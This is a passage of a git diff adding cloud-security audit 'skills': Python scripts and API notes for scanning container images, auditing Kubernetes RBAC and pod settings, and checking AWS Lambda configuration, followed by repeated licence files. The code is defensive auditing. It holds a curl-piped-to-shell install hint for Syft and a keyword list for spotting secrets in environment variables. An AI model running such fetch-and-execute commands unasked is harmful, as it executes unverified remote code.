+|--------|-------------| +| `describe_repositories()` | Get repository config (scan settings, mutability) | +| `put_image_scanning_configuration()` | Enable/disable scan on push | +| `put_image_tag_mutability()` | Set tag immutability (MUTABLE/IMMUTABLE) | +| `put_lifecycle_policy()` | Set image cleanup rules | +| `describe_image_scan_findings()` | Get scan results for an image | +| `list_images()` | List images (filter by tagged/untagged) | +| `get_lifecycle_policy()` | Get current lifecycle policy | + +### ECR Scan Findings Structure +```python +{ + "findingSeverityCounts": {"CRITICAL": 2, "HIGH": 5}, + "findings": [ + {"name": "CVE-2024-xxxx", "severity": "CRITICAL", "uri": "..."} + ] +} +``` + +## References +- Trivy docs: https://aquasecurity.github.io/trivy/ +- Cosign docs: https://docs.sigstore.dev/cosign/overview/ +- Syft docs: https://github.com/anchore/syft +- ECR API: https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ecr.html diff --git a/skills/securing-container-registry-images/scripts/agent.py b/skills/securing-container-registry-images/scripts/agent.py new file mode 100644 index 00000000..61303f0e --- /dev/null +++ b/skills/securing-container-registry-images/scripts/agent.py @@ -0,0 +1,197 @@ +#!/usr/bin/env python3 +"""Agent for auditing container registry image security: scanning, signing, and SBOM.""" + +import boto3 +import subprocess +import json +import sys +import os +import argparse +from datetime import datetime + + +def scan_image_trivy(image, severity="HIGH,CRITICAL", output_format="json"): + """Scan a container image with Trivy for vulnerabilities.""" + print(f"[*] Scanning {image} with Trivy...") + cmd = ["trivy", "image", "--severity", severity, "--format", output_format, image] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + if output_format == "json" and result.stdout: + data = json.loads(result.stdout) + total_vulns = 0 + for target in data.get("Results", []): + vulns = target.get("Vulnerabilities", []) + total_vulns += len(vulns) + if vulns: + print(f" Target: {target.get('Target', 'unknown')}: {len(vulns)} vulnerabilities") + for v in vulns[:5]: + print(f" [{v.get('Severity', '?')}] {v.get('VulnerabilityID', '?')} " + f"- {v.get('PkgName', '?')} {v.get('InstalledVersion', '?')}") + print(f"[*] Total vulnerabilities found: {total_vulns}") + return data + else: + print(result.stdout) + return None + except FileNotFoundError: + print(" [-] Trivy not installed. Install: brew install trivy") + return None + except subprocess.TimeoutExpired: + print(" [-] Scan timed out") + return None + + +def generate_sbom(image, output_format="spdx-json", output_file="sbom.json"): + """Generate SBOM using Syft for a container image.""" + print(f"\n[*] Generating SBOM for {image}...") + cmd = ["syft", image, "-o", output_format] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + if result.stdout: + with open(output_file, "w") as f: + f.write(result.stdout) + data = json.loads(result.stdout) + packages = data.get("packages", []) + print(f" [+] SBOM generated: {len(packages)} packages") + print(f" [+] Saved to {output_file}") + return data + return None + except FileNotFoundError: + print(" [-] Syft not installed. Install: curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh") + return None + + +def verify_image_signature(image, key_file=None): + """Verify image signature using Cosign.""" + print(f"\n[*] Verifying signature for {image}...") + cmd = ["cosign", "verify"] + if key_file: + cmd.extend(["--key", key_file]) + cmd.append(image) + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=60) + if result.returncode == 0: + print(f" [+] Signature VALID for {image}") + return True + else: + print(f" [-] Signature verification FAILED: {result.stderr.strip()}") + return False + except FileNotFoundError: + print(" [-] Cosign not installed") + return None + + +def audit_ecr_repository(repo_name, region="us-east-1"): + """Audit an ECR repository for security configuration.""" + ecr = boto3.client("ecr", region_name=region) + findings = [] + try: + scan_config = ecr.describe_repositories(repositoryNames=[repo_name])["repositories"][0] + repo_uri = scan_config["repositoryUri"] + print(f"\n[*] Auditing ECR repository: {repo_name}") + print(f" URI: {repo_uri}") + + img_scan = scan_config.get("imageScanningConfiguration", {}) + if not img_scan.get("scanOnPush", False): + findings.append({"check": "scan_on_push", "status": "FAIL", "detail": "Scan on push disabled"}) + print(" [!] Scan on push: DISABLED") + else: + print(" [+] Scan on push: ENABLED") + + mutability = scan_config.get("imageTagMutability", "MUTABLE") + if mutability == "MUTABLE": + findings.append({"check": "tag_immutability", "status": "FAIL", "detail": "Tags are mutable"}) + print(" [!] Tag immutability: MUTABLE (tags can be overwritten)") + else: + print(" [+] Tag immutability: IMMUTABLE") + + try: + lifecycle = ecr.get_lifecycle_policy(repositoryName=repo_name) + print(" [+] Lifecycle policy: CONFIGURED") + except ecr.exceptions.LifecyclePolicyNotFoundException: + findings.append({"check": "lifecycle_policy", "status": "FAIL", "detail": "No lifecycle policy"}) + print(" [!] Lifecycle policy: NOT CONFIGURED") + + images = ecr.list_images(repositoryName=repo_name, filter={"tagStatus": "UNTAGGED"}) + untagged = len(images.get("imageIds", [])) + if untagged > 0: + print(f" [!] Untagged images: {untagged}") + + except ecr.exceptions.RepositoryNotFoundException: + print(f" [-] Repository '{repo_name}' not found") + return findings + + +def get_ecr_scan_findings(repo_name, tag="latest", region="us-east-1"): + """Get vulnerability scan findings for an ECR image.""" + ecr = boto3.client("ecr", region_name=region) + try: + response = ecr.describe_image_scan_findings( + repositoryName=repo_name, imageId={"imageTag": tag}, + ) + findings = response.get("imageScanFindings", {}) + severity_counts = findings.get("findingSeverityCounts", {}) + print(f"\n[*] ECR scan findings for {repo_name}:{tag}") + for sev, count in sorted(severity_counts.items()): + print(f" [{sev}] {count}") + vuln_findings = findings.get("findings", []) + for v in vuln_findings[:10]: + print(f" - {v.get('name', '?')}: {v.get('description', '')[:100]}") + return findings + except Exception as e: + print(f" [-] Error: {e}") + return {} + + +def full_audit(image, repo_name=None, region="us-east-1", output_dir="."): + """Run complete container image security audit.""" + print("[*] Starting container image security audit...") + os.makedirs(output_dir, exist_ok=True) + report = {"audit_date": datetime.now().isoformat(), "image": image} + + scan_results = scan_image_trivy(image) + report["trivy_scan"] = scan_results + + sbom_path = os.path.join(output_dir, "sbom.json") + sbom = generate_sbom(image, output_file=sbom_path) + report["sbom_packages"] = len(sbom.get("packages", [])) if sbom else 0 + + sig_valid = verify_image_signature(image) + report["signature_valid"] = sig_valid + + if repo_name: + ecr_findings = audit_ecr_repository(repo_name, region) + report["ecr_audit"] = ecr_findings + + report_path = os.path.join(output_dir, "container_security_report.json") + with open(report_path, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[*] Full report saved to {report_path}") + + +def main(): + parser = argparse.ArgumentParser(description="Container Registry Image Security Agent") + parser.add_argument("action", choices=["scan", "sbom", "verify", "ecr-audit", "ecr-findings", "full-audit"]) + parser.add_argument("--image", help="Container image reference") + parser.add_argument("--repo", help="ECR repository name") + parser.add_argument("--tag", default="latest", help="Image tag for ECR scan results") + parser.add_argument("--key", help="Cosign public key file") + parser.add_argument("--region", default="us-east-1") + parser.add_argument("-o", "--output", default=".") + args = parser.parse_args() + + if args.action == "scan": + scan_image_trivy(args.image) + elif args.action == "sbom": + generate_sbom(args.image) + elif args.action == "verify": + verify_image_signature(args.image, args.key) + elif args.action == "ecr-audit": + audit_ecr_repository(args.repo, args.region) + elif args.action == "ecr-findings": + get_ecr_scan_findings(args.repo, args.tag, args.region) + elif args.action == "full-audit": + full_audit(args.image, args.repo, args.region, args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/securing-container-registry-with-harbor/LICENSE b/skills/securing-container-registry-with-harbor/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/securing-container-registry-with-harbor/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/securing-github-actions-workflows/LICENSE b/skills/securing-github-actions-workflows/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/securing-github-actions-workflows/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/securing-helm-chart-deployments/LICENSE b/skills/securing-helm-chart-deployments/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/securing-helm-chart-deployments/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/securing-historian-server-in-ot-environment/LICENSE b/skills/securing-historian-server-in-ot-environment/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/securing-historian-server-in-ot-environment/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/securing-kubernetes-on-cloud/LICENSE b/skills/securing-kubernetes-on-cloud/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/securing-kubernetes-on-cloud/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/securing-kubernetes-on-cloud/references/api-reference.md b/skills/securing-kubernetes-on-cloud/references/api-reference.md new file mode 100644 index 00000000..1d39abb8 --- /dev/null +++ b/skills/securing-kubernetes-on-cloud/references/api-reference.md @@ -0,0 +1,68 @@ +# API Reference: Securing Kubernetes on Cloud + +## kubernetes Python Client + +### Installation +```bash +pip install kubernetes +``` + +### Configuration +```python +from kubernetes import client, config +config.load_kube_config(context="my-cluster") +``` + +### Core API (v1) +```python +v1 = client.CoreV1Api() +``` +| Method | Description | +|--------|-------------| +| `list_namespace()` | List all namespaces with labels | +| `list_pod_for_all_namespaces()` | List all pods across namespaces | +| `read_namespaced_service_account()` | Get service account details | +| `create_namespace()` | Create namespace with PSA labels | + +### RBAC API +```python +rbac = client.RbacAuthorizationV1Api() +``` +| Method | Description | +|--------|-------------| +| `list_cluster_role_binding()` | List all ClusterRoleBindings | +| `list_cluster_role()` | List all ClusterRoles | +| `list_namespaced_role_binding()` | List RoleBindings in a namespace | +| `list_namespaced_role()` | List Roles in a namespace | + +### Networking API +```python +net = client.NetworkingV1Api() +``` +| Method | Description | +|--------|-------------| +| `list_namespaced_network_policy()` | List network policies in a namespace | +| `create_namespaced_network_policy()` | Create a network policy | + +### Pod Security Context Fields +| Field | Description | +|-------|-------------| +| `privileged` | Run container in privileged mode | +| `run_as_user` | UID to run the container as | +| `run_as_non_root` | Require non-root UID | +| `read_only_root_filesystem` | Mount root filesystem as read-only | +| `allow_privilege_escalation` | Allow setuid/capabilities | +| `capabilities.drop` | Linux capabilities to drop | +| `seccomp_profile.type` | Seccomp profile (RuntimeDefault) | + +### Pod Security Admission Labels +| Label | Values | +|-------|--------| +| `pod-security.kubernetes.io/enforce` | privileged, baseline, restricted | +| `pod-security.kubernetes.io/audit` | privileged, baseline, restricted | +| `pod-security.kubernetes.io/warn` | privileged, baseline, restricted | + +## References +- kubernetes-client/python: https://github.com/kubernetes-client/python +- Pod Security Standards: https://kubernetes.io/docs/concepts/security/pod-security-standards/ +- Network Policies: https://kubernetes.io/docs/concepts/services-networking/network-policies/ diff --git a/skills/securing-kubernetes-on-cloud/scripts/agent.py b/skills/securing-kubernetes-on-cloud/scripts/agent.py new file mode 100644 index 00000000..67b04f8e --- /dev/null +++ b/skills/securing-kubernetes-on-cloud/scripts/agent.py @@ -0,0 +1,211 @@ +#!/usr/bin/env python3 +"""Agent for auditing Kubernetes cluster security posture on managed cloud platforms.""" + +from kubernetes import client, config +import json +import sys +import argparse +from datetime import datetime + + +def load_kube_config(context=None): + """Load kubeconfig for cluster access.""" + try: + config.load_kube_config(context=context) + print("[*] Kubeconfig loaded successfully") + except Exception as e: + print(f"[-] Failed to load kubeconfig: {e}") + sys.exit(1) + + +def check_pod_security_standards(): + """Audit namespaces for Pod Security Standards enforcement labels.""" + v1 = client.CoreV1Api() + namespaces = v1.list_namespace().items + findings = [] + print("\n[*] Checking Pod Security Standards enforcement...") + for ns in namespaces: + name = ns.metadata.name + labels = ns.metadata.labels or {} + enforce = labels.get("pod-security.kubernetes.io/enforce", "NOT SET") + audit = labels.get("pod-security.kubernetes.io/audit", "NOT SET") + warn = labels.get("pod-security.kubernetes.io/warn", "NOT SET") + if enforce == "NOT SET" and name not in ("kube-system", "kube-public", "kube-node-lease"): + findings.append({"namespace": name, "issue": "No PSA enforcement", "severity": "HIGH"}) + print(f" [!] {name}: enforce={enforce}") + elif enforce in ("baseline", "restricted"): + print(f" [+] {name}: enforce={enforce}, audit={audit}, warn={warn}") + print(f"[*] {len(findings)} namespaces without PSA enforcement") + return findings + + +def check_rbac_clusterroles(): + """Audit ClusterRoleBindings for overly permissive access.""" + rbac = client.RbacAuthorizationV1Api() + findings = [] + print("\n[*] Checking RBAC ClusterRoleBindings...") + bindings = rbac.list_cluster_role_binding().items + for binding in bindings: + role_ref = binding.role_ref.name + subjects = binding.subjects or [] + if role_ref in ("cluster-admin", "admin"): + for subj in subjects: + if subj.kind in ("User", "Group") and subj.name not in ("system:masters",): + findings.append({ + "binding": binding.metadata.name, "role": role_ref, + "subject": f"{subj.kind}/{subj.name}", "severity": "CRITICAL", + }) + print(f" [!] CRITICAL: {subj.kind}/{subj.name} -> {role_ref}") + print(f"[*] {len(findings)} overprivileged ClusterRoleBindings found") + return findings + + +def check_service_account_tokens(): + """Find pods with auto-mounted service account tokens.""" + v1 = client.CoreV1Api() + findings = [] + print("\n[*] Checking for auto-mounted service account tokens...") + pods = v1.list_pod_for_all_namespaces().items + for pod in pods: + ns = pod.metadata.namespace + if ns in ("kube-system", "kube-public"): + continue + auto_mount = pod.spec.automount_service_account_token + if auto_mount is None or auto_mount is True: + sa = pod.spec.service_account_name or "default" + if sa == "default": + findings.append({ + "pod": pod.metadata.name, "namespace": ns, + "service_account": sa, "severity": "MEDIUM", + }) + if findings: + print(f" [!] {len(findings)} pods with default SA token auto-mounted") + for f in findings[:10]: + print(f" {f['namespace']}/{f['pod']} (SA: {f['service_account']})") + return findings + + +def check_privileged_pods(): + """Find pods running with privileged security context.""" + v1 = client.CoreV1Api() + findings = [] + print("\n[*] Checking for privileged containers...") + pods = v1.list_pod_for_all_namespaces().items + for pod in pods: + ns = pod.metadata.namespace + if ns in ("kube-system",): + continue + for container in pod.spec.containers: + sc = container.security_context + if sc: + if sc.privileged: + findings.append({ + "pod": pod.metadata.name, "namespace": ns, + "container": container.name, "issue": "privileged=true", + "severity": "CRITICAL", + }) + print(f" [!] CRITICAL: {ns}/{pod.metadata.name}/{container.name} is PRIVILEGED") + if sc.run_as_user == 0: + findings.append({ + "pod": pod.metadata.name, "namespace": ns, + "container": container.name, "issue": "running as root (UID 0)", + "severity": "HIGH", + }) + print(f"[*] {len(findings)} privileged/root container findings") + return findings + + +def check_network_policies(): + """Check if namespaces have network policies applied.""" + v1 = client.CoreV1Api() + net_v1 = client.NetworkingV1Api() + findings = [] + print("\n[*] Checking network policy coverage...") + namespaces = v1.list_namespace().items + for ns in namespaces: + name = ns.metadata.name + if name in ("kube-system", "kube-public", "kube-node-lease"): + continue + policies = net_v1.list_namespaced_network_policy(name).items + if not policies: + findings.append({"namespace": name, "issue": "No network policies", "severity": "HIGH"}) + print(f" [!] {name}: NO network policies") + else: + deny_all = any(not p.spec.pod_selector.match_labels for p in policies + if p.spec.pod_selector) + print(f" [+] {name}: {len(policies)} policies (default-deny: {'Yes' if deny_all else 'No'})") + return findings + + +def check_image_registries(): + """Audit images to ensure they come from approved registries.""" + v1 = client.CoreV1Api() + print("\n[*] Checking container image sources...") + pods = v1.list_pod_for_all_namespaces().items + registries = {} + issues = [] + for pod in pods: + for container in pod.spec.containers: + image = container.image or "" + registry = image.split("/")[0] if "/" in image else "docker.io" + registries[registry] = registries.get(registry, 0) + 1 + if "@sha256:" not in image and ":latest" in image: + issues.append({ + "pod": pod.metadata.name, "namespace": pod.metadata.namespace, + "image": image, "issue": "Using :latest tag", + }) + print(" Image registries in use:") + for reg, count in sorted(registries.items(), key=lambda x: -x[1]): + print(f" {reg}: {count} containers") + if issues: + print(f" [!] {len(issues)} containers using :latest tag") + return issues + + +def full_audit(output_path="k8s_security_audit.json"): + """Run a complete Kubernetes security audit.""" + print("[*] Starting Kubernetes security audit...\n") + report = { + "audit_date": datetime.now().isoformat(), + "psa_findings": check_pod_security_standards(), + "rbac_findings": check_rbac_clusterroles(), + "sa_token_findings": check_service_account_tokens(), + "privileged_findings": check_privileged_pods(), + "network_policy_findings": check_network_policies(), + "image_findings": check_image_registries(), + } + total = sum(len(v) for v in report.values() if isinstance(v, list)) + report["total_findings"] = total + with open(output_path, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[*] Audit complete: {total} total findings") + print(f"[*] Report saved to {output_path}") + + +def main(): + parser = argparse.ArgumentParser(description="Kubernetes Cloud Security Audit Agent") + parser.add_argument("action", choices=["full-audit", "psa", "rbac", "privileged", + "network-policies", "images", "sa-tokens"]) + parser.add_argument("--context", help="Kubeconfig context name") + parser.add_argument("-o", "--output", default="k8s_security_audit.json") + args = parser.parse_args() + + load_kube_config(args.context) + if args.action == "full-audit": + full_audit(args.output) + elif args.action == "psa": + check_pod_security_standards() + elif args.action == "rbac": + check_rbac_clusterroles() + elif args.action == "privileged": + check_privileged_pods() + elif args.action == "network-policies": + check_network_policies() + elif args.action == "images": + check_image_registries() + elif args.action == "sa-tokens": + check_service_account_tokens() + + +if __name__ == "__main__": + main() diff --git a/skills/securing-remote-access-to-ot-environment/LICENSE b/skills/securing-remote-access-to-ot-environment/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/securing-remote-access-to-ot-environment/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/securing-serverless-functions/LICENSE b/skills/securing-serverless-functions/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/securing-serverless-functions/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/securing-serverless-functions/references/api-reference.md b/skills/securing-serverless-functions/references/api-reference.md new file mode 100644 index 00000000..44457b45 --- /dev/null +++ b/skills/securing-serverless-functions/references/api-reference.md @@ -0,0 +1,56 @@ +# API Reference: Securing Serverless Functions + +## boto3 Lambda Client + +### Installation +```bash +pip install boto3 +``` + +### Key Methods +| Method | Description | +|--------|-------------| +| `list_functions()` | List all functions with configuration details | +| `get_function_configuration()` | Get function config (role, env vars, KMS) | +| `get_function_url_config()` | Get function URL and auth type | +| `get_function_concurrency()` | Get reserved concurrency settings | +| `update_function_configuration()` | Update KMS key, logging, VPC config | +| `create_function_url_config()` | Create function URL with auth type | + +### Function Configuration Fields +| Field | Security Relevance | +|-------|-------------------| +| `Role` | Execution role ARN (check for least privilege) | +| `Environment.Variables` | May contain hardcoded secrets | +| `KMSKeyArn` | Customer-managed KMS key for env encryption | +| `VpcConfig` | VPC subnet and security group configuration | +| `Timeout` | Max execution time (1-900 seconds) | +| `Runtime` | Language runtime (check for EOL versions) | +| `Layers` | Shared code layers (scan independently) | + +### Function URL Auth Types +| Value | Description | +|-------|-------------| +| `AWS_IAM` | Requires IAM authentication (secure) | +| `NONE` | No authentication required (insecure for sensitive functions) | + +## boto3 IAM Client (Role Checks) +| Method | Description | +|--------|-------------| +| `list_attached_role_policies()` | Check for overly broad managed policies | +| `get_role_policy()` | Inspect inline policy for wildcards | +| `get_role()` | Check trust policy and permission boundary | + +## GuardDuty Lambda Protection +```python +gd = boto3.client("guardduty") +gd.update_detector( + DetectorId="", + Features=[{"Name": "LAMBDA_NETWORK_ACTIVITY_LOGS", "Status": "ENABLED"}] +) +``` + +## References +- Lambda security best practices: https://docs.aws.amazon.com/lambda/latest/dg/lambda-security.html +- Lambda function URLs: https://docs.aws.amazon.com/lambda/latest/dg/lambda-urls.html +- GuardDuty Lambda protection: https://docs.aws.amazon.com/guardduty/latest/ug/lambda-protection.html diff --git a/skills/securing-serverless-functions/scripts/agent.py b/skills/securing-serverless-functions/scripts/agent.py new file mode 100644 index 00000000..ad621b1c --- /dev/null +++ b/skills/securing-serverless-functions/scripts/agent.py @@ -0,0 +1,172 @@ +#!/usr/bin/env python3 +"""Agent for auditing serverless function security across AWS Lambda.""" + +import boto3 +import json +import sys +import argparse +from datetime import datetime + + +def list_functions(region="us-east-1"): + """List all Lambda functions with security-relevant configuration.""" + lam = boto3.client("lambda", region_name=region) + functions = [] + paginator = lam.get_paginator("list_functions") + for page in paginator.paginate(): + for f in page["Functions"]: + functions.append({ + "name": f["FunctionName"], + "runtime": f.get("Runtime", "N/A"), + "role": f["Role"].split("/")[-1], + "timeout": f.get("Timeout", 3), + "memory": f.get("MemorySize", 128), + "kms_key": f.get("KMSKeyArn", "None (default)"), + "vpc": bool(f.get("VpcConfig", {}).get("SubnetIds")), + }) + print(f"[*] Found {len(functions)} Lambda functions") + for fn in functions: + print(f" {fn['name']} | {fn['runtime']} | role={fn['role']} | VPC={fn['vpc']}") + return functions + + +def check_function_urls(region="us-east-1"): + """Check for Lambda function URLs with insecure authentication.""" + lam = boto3.client("lambda", region_name=region) + findings = [] + paginator = lam.get_paginator("list_functions") + for page in paginator.paginate(): + for f in page["Functions"]: + try: + url_config = lam.get_function_url_config(FunctionName=f["FunctionName"]) + auth_type = url_config.get("AuthType", "NONE") + if auth_type == "NONE": + findings.append({ + "function": f["FunctionName"], + "url": url_config.get("FunctionUrl", ""), + "auth_type": auth_type, + "severity": "CRITICAL", + }) + print(f" [!] CRITICAL: {f['FunctionName']} has unauthenticated URL: " + f"{url_config.get('FunctionUrl', '')}") + else: + print(f" [+] {f['FunctionName']}: URL auth={auth_type}") + except lam.exceptions.ResourceNotFoundException: + continue + print(f"[*] {len(findings)} functions with unauthenticated URLs") + return findings + + +def check_env_variables(region="us-east-1"): + """Scan Lambda environment variables for potential hardcoded secrets.""" + lam = boto3.client("lambda", region_name=region) + findings = [] + secret_patterns = ["password", "secret", "api_key", "apikey", "token", "private_key", + "access_key", "db_pass", "database_url", "smtp"] + paginator = lam.get_paginator("list_functions") + for page in paginator.paginate(): + for f in page["Functions"]: + env_vars = f.get("Environment", {}).get("Variables", {}) + kms_key = f.get("KMSKeyArn") + for key, value in env_vars.items(): + key_lower = key.lower() + if any(p in key_lower for p in secret_patterns): + has_kms = bool(kms_key) + findings.append({ + "function": f["FunctionName"], + "variable": key, + "encrypted": has_kms, + "severity": "HIGH" if not has_kms else "MEDIUM", + }) + enc_status = "KMS-encrypted" if has_kms else "PLAINTEXT" + print(f" [!] {f['FunctionName']}: {key} ({enc_status})") + print(f"[*] {len(findings)} potential secrets in environment variables") + return findings + + +def check_shared_roles(region="us-east-1"): + """Identify Lambda functions sharing the same execution role.""" + lam = boto3.client("lambda", region_name=region) + role_map = {} + paginator = lam.get_paginator("list_functions") + for page in paginator.paginate(): + for f in page["Functions"]: + role = f["Role"] + role_name = role.split("/")[-1] + if role_name not in role_map: + role_map[role_name] = [] + role_map[role_name].append(f["FunctionName"]) + findings = [] + print("\n[*] Checking for shared execution roles...") + for role, funcs in role_map.items(): + if len(funcs) > 1: + findings.append({"role": role, "functions": funcs, "count": len(funcs)}) + print(f" [!] Role '{role}' shared by {len(funcs)} functions: {', '.join(funcs[:5])}") 